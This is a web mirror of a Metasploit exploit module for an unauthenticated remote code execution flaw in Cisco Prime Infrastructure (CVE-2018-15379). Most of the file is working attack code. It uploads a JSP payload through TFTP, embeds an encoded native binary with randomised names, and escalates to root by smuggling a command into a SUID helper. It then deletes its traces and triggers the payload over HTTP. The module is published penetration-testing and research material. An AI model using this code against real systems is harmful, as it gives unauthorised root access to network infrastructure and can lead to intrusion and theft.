Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/http/cisco_prime_inf_rce.rb
19758 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::EXE
11
include Msf::Exploit::FileDropper
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Cisco Prime Infrastructure Unauthenticated Remote Code Execution',
18
'Description' => %q{
19
Cisco Prime Infrastructure (CPI) contains two basic flaws that when exploited allow
20
an unauthenticated attacker to achieve remote code execution. The first flaw is a file
21
upload vulnerability that allows the attacker to upload and execute files as the Apache
22
Tomcat user; the second is a privilege escalation to root by bypassing execution restrictions
23
in a SUID binary.
24
25
This module exploits these vulnerabilities to achieve unauthenticated remote code execution
26
as root on the CPI default installation.
27
28
This module has been tested with CPI 3.2.0.0.258 and 3.4.0.0.348. Earlier and later versions
29
might also be affected, although 3.4.0.0.348 is the latest at the time of writing.
30
The file upload vulnerability should have been fixed in versions 3.4.1 and 3.3.1 Update 02.
31
},
32
'Author' => [
33
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module
34
],
35
'License' => MSF_LICENSE,
36
'References' => [
37
[ 'CVE', '2018-15379' ],
38
[ 'URL', 'https://seclists.org/fulldisclosure/2018/Oct/19'],
39
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/Cisco/cisco-prime-infrastructure.txt' ],
40
[ 'URL', 'https://blogs.securiteam.com/index.php/archives/3723' ],
41
[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20181003-pi-tftp' ]
42
],
43
'Platform' => 'linux',
44
'Arch' => [ARCH_X86, ARCH_X64],
45
'Targets' => [
46
[ 'Cisco Prime Infrastructure < 3.4.1 & 3.3.1 Update 02', {} ]
47
],
48
'Privileged' => true,
49
'DefaultOptions' => { 'WfsDelay' => 10 },
50
'DefaultTarget' => 0,
51
'DisclosureDate' => '2018-10-04',
52
'Notes' => {
53
'Reliability' => UNKNOWN_RELIABILITY,
54
'Stability' => UNKNOWN_STABILITY,
55
'SideEffects' => UNKNOWN_SIDE_EFFECTS
56
}
57
)
58
)
59
60
register_options(
61
[
62
OptPort.new('RPORT', [true, 'The target port', 443]),
63
OptPort.new('RPORT_TFTP', [true, 'TFTPD port', 69]),
64
OptBool.new('SSL', [true, 'Use SSL connection', true]),
65
OptString.new('TARGETURI', [ true, "swimtemp path", '/swimtemp'])
66
]
67
)
68
end
69
70
def check
71
res = send_request_cgi({
72
'uri' => normalize_uri(datastore['TARGETURI'], 'swimtemp'),
73
'method' => 'GET'
74
})
75
76
unless res
77
vprint_error 'Connection failed'
78
return CheckCode::Unknown
79
end
80
81
if res.code == 404 && res.body.length == 0
82
# at the moment this is the best way to detect
83
# a 404 in swimtemp only returns the error code with a body length of 0,
84
# while a 404 to another webapp or to the root returns code plus a body with content
85
return CheckCode::Detected
86
end
87
88
CheckCode::Safe
89
end
90
91
def upload_payload(payload)
92
lport = datastore['LPORT'] || (1025 + rand(0xffff - 1025))
93
lhost = datastore['LHOST'] || "0.0.0.0"
94
remote_file = rand_text_alpha(5..16) + '.jsp'
95
96
tftp_client = Rex::Proto::TFTP::Client.new(
97
"LocalHost" => lhost,
98
"LocalPort" => lport,
99
"PeerHost" => rhost,
100
"PeerPort" => datastore['RPORT_TFTP'],
101
"LocalFile" => "DATA:#{payload}",
102
"RemoteFile" => remote_file,
103
"Mode" => 'octet',
104
"Context" => { 'Msf' => self.framework, 'MsfExploit' => self },
105
"Action" => :upload
106
)
107
print_status "Uploading TFTP payload to #{rhost}:#{datastore['TFTP_PORT']} as '#{remote_file}'"
108
tftp_client.send_write_request
109
110
remote_file
111
end
112
113
def generate_jsp_payload
114
exe = generate_payload_exe
115
base64_exe = Rex::Text.encode_base64(exe)
116
117
native_payload_name = rand_text_alpha(3..9)
118
119
var_raw = rand_text_alpha(3..11)
120
var_ostream = rand_text_alpha(3..11)
121
var_pstream = rand_text_alpha(3..11)
122
var_buf = rand_text_alpha(3..11)
123
var_decoder = rand_text_alpha(3..11)
124
var_tmp = rand_text_alpha(3..11)
125
var_path = rand_text_alpha(3..11)
126
var_tmp2 = rand_text_alpha(3..11)
127
var_path2 = rand_text_alpha(3..11)
128
var_proc2 = rand_text_alpha(3..11)
129
130
var_proc1 = rand_text_alpha(3..11)
131
chmod = %Q|
132
Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path} + " " + #{var_path2});
133
Thread.sleep(200);
134
|
135
136
var_proc3 = Rex::Text.rand_text_alpha(3..11)
137
cleanup = %Q|
138
Thread.sleep(200);
139
Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path} + " " + #{var_path2});
140
|
141
142
jsp = %Q|
143
<%@page import="java.io.*"%>
144
<%@page import="sun.misc.BASE64Decoder"%>
145
<%
146
try {
147
String #{var_buf} = "#{base64_exe}";
148
BASE64Decoder #{var_decoder} = new BASE64Decoder();
149
byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString());
150
151
File #{var_tmp} = File.createTempFile("#{native_payload_name}", ".bin");
152
String #{var_path} = #{var_tmp}.getAbsolutePath();
153
154
BufferedOutputStream #{var_ostream} =
155
new BufferedOutputStream(new FileOutputStream(#{var_path}));
156
#{var_ostream}.write(#{var_raw});
157
#{var_ostream}.close();
158
159
File #{var_tmp2} = File.createTempFile("#{native_payload_name}", ".sh");
160
String #{var_path2} = #{var_tmp2}.getAbsolutePath();
161
162
PrintWriter #{var_pstream} =
163
new PrintWriter(new FileOutputStream(#{var_path2}));
164
#{var_pstream}.println("!#/bin/sh");
165
#{var_pstream}.println("/opt/CSCOlumos/bin/runrshell '\\" && " + #{var_path} + " #'");
166
#{var_pstream}.close();
167
#{chmod}
168
169
Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path2});
170
#{cleanup}
171
} catch (Exception e) {
172
}
173
%>
174
|
175
176
jsp = jsp.gsub(/\n/, '')
177
jsp = jsp.gsub(/\t/, '')
178
jsp = jsp.gsub(/\x0d\x0a/, "")
179
jsp = jsp.gsub(/\x0a/, "")
180
181
return jsp
182
end
183
184
def exploit
185
jsp_payload = generate_jsp_payload
186
187
jsp_name = upload_payload(jsp_payload)
188
189
# we land in /opt/CSCOlumos, so we don't know the apache directory
190
# as it changes between versions... so leave this commented for now
191
# ... and try to find a good way to clean it later
192
print_warning "#{jsp_name} must be manually removed from the Apache in /opt/CSCOlumos"
193
# register_files_for_cleanup(jsp_name)
194
195
print_status("#{peer} - Executing payload...")
196
send_request_cgi({
197
'uri' => normalize_uri(datastore['TARGETURI'], jsp_name),
198
'method' => 'GET'
199
})
200
201
handler
202
end
203
end
204
205